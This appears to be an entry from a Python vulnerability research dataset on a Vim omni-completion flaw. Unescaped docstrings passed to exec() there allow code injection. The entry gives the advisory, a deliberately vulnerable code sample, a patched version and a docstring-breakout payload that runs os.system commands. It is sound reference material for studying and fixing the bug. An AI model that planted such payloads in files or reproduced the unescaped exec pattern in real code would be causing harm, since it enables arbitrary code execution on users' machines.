VAITP Dataset

← Back to the dataset

CVE-2026-57456

Vim's Python omni-completion allows code execution via crafted docstrings.

  • CVSS 8.4
  • CWE-94
  • Input Validation and Sanitization
  • Local

Vim is an open source, command line text editor. Prior to 9.2.0699, Vim's Python omni-completion (runtime/autoload/python3complete.vim and the legacy pythoncomplete.vim) executes reconstructed function and class definitions from the current buffer with exec() as part of populating the completion dictionary. When reconstructing that source, each scope's docstring is inserted verbatim between triple quotes with no escaping, so a hostile buffer can break out of the triple-quoted literal and execute attacker-controlled Python during omni-completion. This vulnerability is fixed in 9.2.0699.

CVSS base score
8.4
Published
2026-06-25
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Vim

Solution

Upgrade Vim to version 9.2.0699 or later.

Vulnerable code sample

import os

# This function simulates the vulnerable logic in Vim's python omni-completion.
# It reconstructs a Python function definition using a provided docstring and
# then executes it with `exec()` to inspect it for completion data.
def vulnerable_python_complete_simulator(docstring_from_buffer):
    # The vulnerability lies in how the `reconstructed_code` string is built.
    # The `docstring_from_buffer` is inserted verbatim without any escaping.
    reconstructed_code = f"""
def temp_function_for_inspection():
    \"\"\"{docstring_from_buffer}\"\"\"
    pass
"""
    # The `exec()` call runs the `reconstructed_code`. If the docstring is
    # malicious, it can break out of the string literal and execute
    # arbitrary commands.
    exec(reconstructed_code, {})


# This payload simulates what an attacker would place in a Python file's
# docstring in Vim.
# 1. """   : Closes the opening triple-quote of the docstring in the template.
# 2. ; ... : Injects arbitrary Python code. Here, it creates a file.
# 3. #      : Comments out the closing triple-quote from the template,
#            preventing a syntax error.
malicious_payload = '"""\nimport os; os.system(\'touch /tmp/vim_pwned_by_cve\')\n#'

# This call simulates a user triggering omni-completion (e.g., by typing C-x C-o)
# in Vim on code containing the malicious docstring.
vulnerable_python_complete_simulator(malicious_payload)

Patched code sample

import os
import sys

def escape_docstring_for_exec(docstring):
    """
    Safely escapes a docstring to be embedded in a triple-quoted string
    by replacing occurrences of '"""' with a non-terminating sequence.
    This represents the fix for the described vulnerability.
    """
    return docstring.replace('"""', '""\\"')

# --- Demonstration of the fix ---

# 1. Define a hostile docstring payload.
# It attempts to close the docstring literal, execute a command, and then
# open and close another string to maintain valid syntax in the vulnerable version.
hostile_docstring = 'legitimate docstring text."""\nimport os\nos.system("echo VULNERABILITY EXPLOITED")\n"""'

# 2. Reconstruct the code that would be passed to exec() for completion analysis.
# The crucial step is applying the escaping function to the docstring.
safe_code_string = f"""
def reconstructed_function():
    \"\"\"{escape_docstring_for_exec(hostile_docstring)}\"\"\"
    pass
"""

# 3. For clarity, print the code string that will be safely executed.
# Notice how the hostile '"""' is now '""\"' inside the code.
print("# The following safe code will be passed to exec():")
print("-" * 50)
print(safe_code_string)
print("-" * 50)


# 4. Execute the code in a separate namespace.
# In the vulnerable version, this would print "VULNERABILITY EXPLOITED".
# With the fix, the hostile code remains part of the docstring and is not executed.
print("# Executing the code...")
exec(safe_code_string, {})
print("# Execution finished. The exploit was not triggered.")

Payload

def vulnerable_function():
    """
"""
import os; os.system('id')
"""
"""

Cite this entry

@misc{vaitp:cve202657456,
  title        = {{Vim's Python omni-completion allows code execution via crafted docstrings.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-57456},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-57456/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::